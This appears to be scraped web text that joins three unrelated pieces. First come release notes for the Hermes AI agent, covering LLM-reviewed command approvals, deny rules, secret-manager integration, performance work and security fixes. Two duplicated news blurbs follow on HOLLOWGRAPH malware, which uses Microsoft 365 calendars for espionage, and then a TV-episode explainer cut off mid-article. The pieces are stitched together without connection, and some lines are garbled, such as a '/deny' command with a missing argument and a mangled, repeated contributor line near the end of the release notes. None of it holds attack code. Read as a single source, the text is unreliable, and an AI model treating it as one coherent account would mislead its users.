Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny  (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)

Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)

Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)

A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)

One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)

New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)

Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)

Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)

Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

⚡ Performance — the speed spine
First-turn latency (all platforms)

~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

🏗️ Core Agent & Architecture
Providers & models

Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

max + ultra effort levels across every surface and route (#62650 — @teknium1)
Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
Smart approvals default; user-defined deny rules (block even under yolo); /deny  relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
Session auto-reset default off; /sessions search ; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

📱 Messaging Platforms

Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

🖥️ Hermes Desktop App

Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (#60569, #63699, #60571, #65361, #64636 — @teknium1, @kshitijk4poor, @shannonsands)
Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; browser.headed schema toggle; profile + gateway topology on /api/status; mobile/hosted OpenAI OAuth login (#60515, #65895, #61929, #67046, #60537, #61330 — @teknium1, @OutThisLife, @benbarclay)
hermes serve is a true headless backend (no web UI build/mount) (#55923 — @OutThisLife)

🧰 CLI & TUI

/subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
/model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
--safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
dynamic-workflow orchestration skill (landed, then reverted) — not shipping
memory provider-actions extension point (landed, then reverted) — not shipping
Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

👥 Contributors
450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.
Core team

@teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
@OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
@kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
@ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
@benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
@alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
@helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
@austinpickett — desktop custom endpoint settings
@SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

@srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
@HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
@UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
@xxxigm —  leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
@erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
@Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
@necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
@DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
@shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
@vishal-dharm — Gemini request-context improvements
@PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
@alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors
@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,

@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,

@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,

@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,

@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,

@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,

@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,

@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,

@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,

@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,

@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,

@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,

@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,

@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,

@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,

@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,

@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,

@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,

@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,

@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,

@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,

@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,

@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,

@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,

@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,

@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,

@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,

@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,

@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,

@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,

@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,

@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,

@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,

@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,

@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,

@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,

@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,

@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,

@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,

@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,

@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,

@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,

@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,

@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,

@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,

@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,

@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,

@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,

@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,

@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,

@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,

@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,

@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,

@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,

@ziliangpeng, @zwcf5200, @zzpigpinggai
Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

HOLLOWGRAPH malware turns Microsoft 365 calendars into an espionage channel
Mon, 20 Jul 2026 19:37:32 +0200
Microsoft 365 calendars have become a hiding place for espionage malware, with commands and stolen files stashed inside appointments dated to the year 2050, researchers from Group-IB discovered. Targeted campaign tied to Iranian espionage activity The malware, which Group-IB calls HOLLOWGRAPH, is one component of a bigger toolkit the company links with high confidence to the Cavern backdoor framework, a modular espionage toolkit built from separate plugins that each handle a different task, previously tied … More →
The post HOLLOWGRAPH malware turns Microsoft 365 calendars into an espionage channel appeared first on Help Net Security.

HOLLOWGRAPH malware turns Microsoft 365 calendars into an espionage channel
Mon, 20 Jul 2026 19:37:22 +0200
Microsoft 365 calendars have become a hiding place for espionage malware, with commands and stolen files stashed inside appointments dated to the year 2050, researchers from Group-IB discovered. Targeted campaign tied to Iranian espionage activity The malware, which Group-IB calls…
Read more →
The post HOLLOWGRAPH malware turns Microsoft 365 calendars into an espionage channel appeared first on IT Security News.

House of the Dragon Season 3 Episode 5 Secret Tunnel Explained
Mon, 20 Jul 2026 19:04:53 +0200
House of the Dragon Season 3 Episode 5 places Alicent and Helaena inside one of the Red Keep’s hidden passages, where a planned escape quickly turns into a dangerous trap. Their disappearance adds fresh political tension while also showing how the castle’s secret tunnels can protect people, mislead them, or leave them buried beneath the seat of power.

The passage appears to connect with the maze built under the Red Keep during the reign of Maegor I Targaryen. Maegor ordered the construction of hidden doors, false walls, and escape routes so he could survive attacks or flee during a siege. He later killed the workers who knew the full design, which left the tunnels dangerous for anyone who entered without guidance.

Why Alicent and Helaena Become Trapped

Alicent and Helaena close the hidden door after entering the passage, then discover that someone has blocked the route ahead. Helaena drops their only light after a rat frightens her, leaving both women trapped in complete darkness with no clear way back.

The blocked path suggests that someone deliberately closed this escape route. Mysaria stands out as the main suspect because she appears to know what happens across the Red Keep, including private details about Helaena. Larys Strong also remains a possible suspect because he often plans and understands how people behave under pressure.

Their Disappearance Creates Political Trouble

